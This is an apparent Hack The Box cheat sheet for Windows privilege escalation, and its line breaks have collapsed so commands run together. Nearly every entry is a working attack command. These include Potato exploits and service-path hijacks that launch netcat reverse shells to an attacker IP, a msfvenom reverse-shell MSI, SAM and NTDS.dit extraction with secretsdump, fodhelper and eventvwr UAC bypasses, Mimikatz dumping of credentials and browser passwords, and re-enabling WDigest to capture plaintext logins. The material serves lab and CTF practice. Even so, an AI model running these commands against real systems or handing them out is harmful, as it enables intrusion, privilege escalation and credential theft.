Windows Privesc
Common privesc vectors encountered in HTB Windows machines.
Quick Wins
# 1. Check privilegeswhoami /priv# SeImpersonatePrivilege -> Potato attacks# SeBackupPrivilege -> Read any file (SAM/SYSTEM)# SeRestorePrivilege -> Write any file# SeTakeOwnershipPrivilege -> Take ownership of any object
# 2. Stored credentialscmdkey /listrunas /savecred /user:administrator cmd.exe
# 3. AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated# If both = 1: msiexec /quiet /qn /i shell.msi
# 4. AutoLogon credentialsreg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# 5. Unattend filesdir /s /b C:\unattend.xml C:\sysprep.xml C:\sysprep.inf 2>nulToken Impersonation (Potato Attacks)
# Requires: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
# PrintSpoofer (Windows 10 / Server 2016-2019).\PrintSpoofer64.exe -c "cmd /c whoami > C:\temp\output.txt".\PrintSpoofer64.exe -i -c powershell.exe
# GodPotato (Windows 8 - 11, Server 2012 - 2022).\GodPotato.exe -cmd "cmd /c whoami".\GodPotato.exe -cmd "C:\temp\nc.exe 10.10.14.X 4444 -e cmd.exe"
# JuicyPotatoNG.\JuicyPotatoNG.exe -t * -p "C:\temp\nc.exe" -a "10.10.14.X 4444 -e cmd.exe"
# SweetPotato.\SweetPotato.exe -p C:\temp\nc.exe -a "10.10.14.X 4444 -e cmd.exe"
# RoguePotato.\RoguePotato.exe -r 10.10.14.X -e "cmd.exe /c C:\temp\nc.exe 10.10.14.X 4444 -e cmd.exe" -l 9999Service Exploitation
# Unquoted service pathswmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
# Weak service permissionsaccesschk.exe -uwcqv "Everyone" * /accepteulaaccesschk.exe -uwcqv "Users" * /accepteula
# Modify service binary pathsc config VulnService binpath= "C:\temp\nc.exe 10.10.14.X 4444 -e cmd.exe"sc stop VulnServicesc start VulnService
# Writable service binary# Replace the binary with your payloadcopy C:\temp\shell.exe "C:\Program Files\VulnService\service.exe"sc stop VulnServicesc start VulnService
# DLL hijacking# Find missing DLLs with Process Monitor# Place malicious DLL in writable directory in service PATHRegistry Exploitation
# Writable service registry keys# Check HKLM\System\CurrentControlSet\Services\reg query HKLM\System\CurrentControlSet\Services\VulnService# If writable, change ImagePath
# AutoRun programsreg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Runreg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run# If writable location, replace binary with payload
# AlwaysInstallElevatedmsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.X LPORT=4444 -f msi -o shell.msimsiexec /quiet /qn /i C:\temp\shell.msiSeBackupPrivilege
# Method 1: Copy SAM and SYSTEMreg save HKLM\SAM C:\temp\SAMreg save HKLM\SYSTEM C:\temp\SYSTEM
# Method 2: Using robocopyrobocopy /b C:\Users\Administrator\Desktop C:\temp flag.txt
# Method 3: diskshadow + robocopy for NTDS.dit# Create shadow copy script:set context persistent nowritersadd volume c: alias mydrivecreateexpose %mydrive% z:# Run: diskshadow /s script.txtrobocopy /b z:\Windows\NTDS C:\temp NTDS.dit
# Extract hashesimpacket-secretsdump -sam SAM -system SYSTEM LOCALimpacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCALScheduled Tasks
# List scheduled tasksschtasks /query /fo LIST /v
# Check for writable task binariesicacls "C:\Path\To\Task\Binary.exe"
# Check for tasks running as SYSTEMschtasks /query /fo LIST /v | findstr /i "Run As User" | findstr /i "SYSTEM"UAC Bypass
# Check UAC levelreg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
# Fodhelper bypassreg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /freg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /ffodhelper.exe
# Eventvwr bypassreg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /feventvwr.exe
# UACME tool.\Akagi64.exe <method_id> cmd.exeCredential Harvesting
# Mimikatzmimikatz# privilege::debugmimikatz# sekurlsa::logonpasswordsmimikatz# lsadump::sammimikatz# lsadump::secrets
# DPAPI - Chrome passwordsmimikatz# dpapi::chrome /in:"C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data"
# Vaultmimikatz# vault::credmimikatz# vault::list
# WDigest (if enabled)reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f# Then wait for user to login and dump with MimikatzAutomated Tools
# WinPEAS.\winPEASx64.exe servicesinfo
# PowerUpImport-Module .\PowerUp.ps1Invoke-AllChecks
# Seatbelt.\Seatbelt.exe -group=all -full
# SharpUp.\SharpUp.exe audit
# PrivescCheckImport-Module .\PrivescCheck.ps1Invoke-PrivescCheck -Extended -Report PrivescCheck_Report -Format HTML